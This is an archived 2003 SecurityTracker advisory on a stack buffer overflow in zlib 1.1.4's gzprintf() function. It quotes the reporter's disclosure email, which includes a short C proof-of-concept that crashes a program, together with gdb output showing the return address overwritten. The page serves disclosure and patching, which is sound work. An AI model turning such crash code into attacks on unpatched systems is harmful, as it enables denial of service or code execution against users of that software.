SecurityTracker.com
Keep Track of the Latest Vulnerabilities
with SecurityTracker!
    Home    |    View Topics    |    Search    |    Contact Us    |    Help    |   

SecurityTracker
Archives


Welcome to SecurityTracker!
 
Click to Sign Up
Sign Up
Sign Up for Your FREE Weekly SecurityTracker E-mail Alert Summary
Instant Alerts
Buy our Premium Vulnerability Notification Service to receive customized, instant alerts
Affiliates
Put SecurityTracker Vulnerability Alerts on Your Web Site -- It's Free!
Partners
Become a Partner and License Our Database or Notification Service
Report a Bug
Report a vulnerability that you have found to SecurityTracker
bugs
@
securitytracker.com

Sign Up!





Category:  Application (Generic)  >  Zlib Vendors:  Gzip.org
zlib Compression Library Buffer Overflow in 'gzprintf()' May Let Users Execute Arbitrary Code
SecurityTracker Alert ID:  1006153
CVE Reference:  CAN-2003-0107   (Links to External Site)
Updated:  Oct 24 2003
Original Entry Date:  Feb 23 2003
Impact:  Execution of arbitrary code via local system, Execution of arbitrary code via network
Vendor Confirmed:  Yes  
Version(s): 1.1.4
Description:  A buffer overflow was reported in zlib when configured in a certain manner. The impact will vary depending on the application using the zlib compression library.

It is reported that, in the default configuration, the gzprintf() function can overflow the stack if called with arguments that expand to a length greater than that defined by the Z_PRINTF_BUFSIZE define statement (reported to be 4096 bytes by default).

According to the report, if the '#define (HAS_vsnprintf)' statement is enabled (which is not the default configuration and is apparently not documented), zlib will use the potentially safer vsnprintf() function instead of the vsprintf() function. However, overly long strings will be silently truncated by vsnprintf(), which may result in some security issues.

The specific impact of the stack overflow or the string truncation will depend on how an application uses zlib. It is possible that denial of service conditions could be introduced by local or remote users. It is also possible that arbitrary code could be executed by local or remote users.

A demonstration exploit transcript is provided in the Source Message.

The vendor has reportedly been notified.

Impact:  A remote or local user may be able to trigger a buffer overflow to execute arbitrary code, depending on the design of the application that uses the zlib library.
Solution:  No solution was available at the time of this entry.
Vendor URL:  www.gzip.org/zlib/ (Links to External Site)
Cause:  Boundary error
Underlying OS:  Linux (Any), UNIX (Any)
Reported By:  Richard Kettlewell <rjk@greenend.org.uk>
Message History:   This archive entry has one or more follow-up message(s) listed below.
Oct 24 2003 (Sun Issues Fix) Re: zlib Compression Library Buffer Overflow in 'gzprintf()' May Let Users Execute Arbitrary Code
Sun has issued a fix for zlib (libz(3)).
Nov 18 2003 (Apple Issues Fix) zlib Compression Library Buffer Overflow in 'gzprintf()' May Let Users Execute Arbitrary Code   (Product Security <product-security@apple.com>)
Apple has released a fix for Mac OS X.
Nov 20 2003 (Apple Issues Fix for OS X) zlib Compression Library Buffer Overflow in 'gzprintf()' May Let Users Execute Arbitrary Code   (Product Security <product-security@apple.com>)
Apple has released a fix for Mac OS X 10.2 and 10.3



 Source Message Contents

Date:  Sat, 22 Feb 2003 00:05:47 +0000
From:  Richard Kettlewell <rjk@greenend.org.uk>
Subject:  buffer overrun in zlib 1.1.4

 

zlib contains a function called gzprintf().  This is similar in
behaviour to fprintf() except that by default, this function will
smash the stack if called with arguments that expand to more than
Z_PRINTF_BUFSIZE (=4096 by default) bytes.

There is an internal #define (HAS_vsnprintf) that causes it to use
vsnprintf() instead of vsprintf(), but this is not enabled by default,
not tested for by the configure script, and not documented.

Even if it was documented, tested for, or whatever, it is unclear what
platforms without vsnprintf() are supposed to do.  Put up with the
security hole, perhaps.

Finally, with HAS_vsnprintf defined, long strings will be silently
truncated (and this isn't documented anywhere).  Unexpected truncation
of strings can have security implications too; I seem to recall that a
popular MTA had trouble with over-long HELO strings for instance.

I contacted zlib@gzip.org, and they say they're happy for me to post
about this.

ttfn/rjk

    $ cat crashzlib.c
    #include <zlib.h>
    #include <errno.h>
    #include <stdio.h>

    int main(void) {
      gzFile f;
      int ret;

      if(!(f = gzopen("/dev/null", "w"))) {
        perror("/dev/null");
        exit(1);
      }
      ret = gzprintf(f, "%10240s", "");
      printf("gzprintf -> %d\n", ret);
      ret = gzclose(f);
      printf("gzclose -> %d [%d]\n", ret, errno);
      exit(0);
    }
    $ gcc -g -o crashzlib crashzlib.c -lz
    $ ./crashzlib 
    Segmentation fault (core dumped)
    $ 
    $ dpkg -l zlib\* | grep ^i
    ii  zlib1g         1.1.4-1        compression library - runtime
    ii  zlib1g-dev     1.1.4-1        compression library - development
    $ gdb crashzlib core
    GNU gdb 2002-04-01-cvs
    Copyright 2002 Free Software Foundation, Inc.
    GDB is free software, covered by the GNU General Public License, and you are
    welcome to change it and/or distribute copies of it under certain conditions.
    Type "show copying" to see the conditions.
    There is absolutely no warranty for GDB.  Type "show warranty" for details.
    This GDB was configured as "i386-linux"...
    Core was generated by `           '.
    Program terminated with signal 11, Segmentation fault.
    Reading symbols from /usr/lib/libz.so.1...done.
    Loaded symbols for /usr/lib/libz.so.1
    Reading symbols from /lib/libc.so.6...done.
    Loaded symbols for /lib/libc.so.6
    Reading symbols from /lib/ld-linux.so.2...done.
    Loaded symbols for /lib/ld-linux.so.2
    #0  0x400944b2 in _IO_default_xsputn () from /lib/libc.so.6
    (gdb) bt
    #0  0x400944b2 in _IO_default_xsputn () from /lib/libc.so.6
    #1  0x4008b52a in _IO_padn () from /lib/libc.so.6
    #2  0x40075128 in vfprintf () from /lib/libc.so.6
    #3  0x4008c0c3 in vsprintf () from /lib/libc.so.6
    #4  0x4001c923 in gzprintf () from /usr/lib/libz.so.1
    #5  0x20202020 in ?? ()
    Cannot access memory at address 0x20202020
    (gdb) $ 

 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us   |    Help

Copyright 2003, SecurityGlobal.net LLC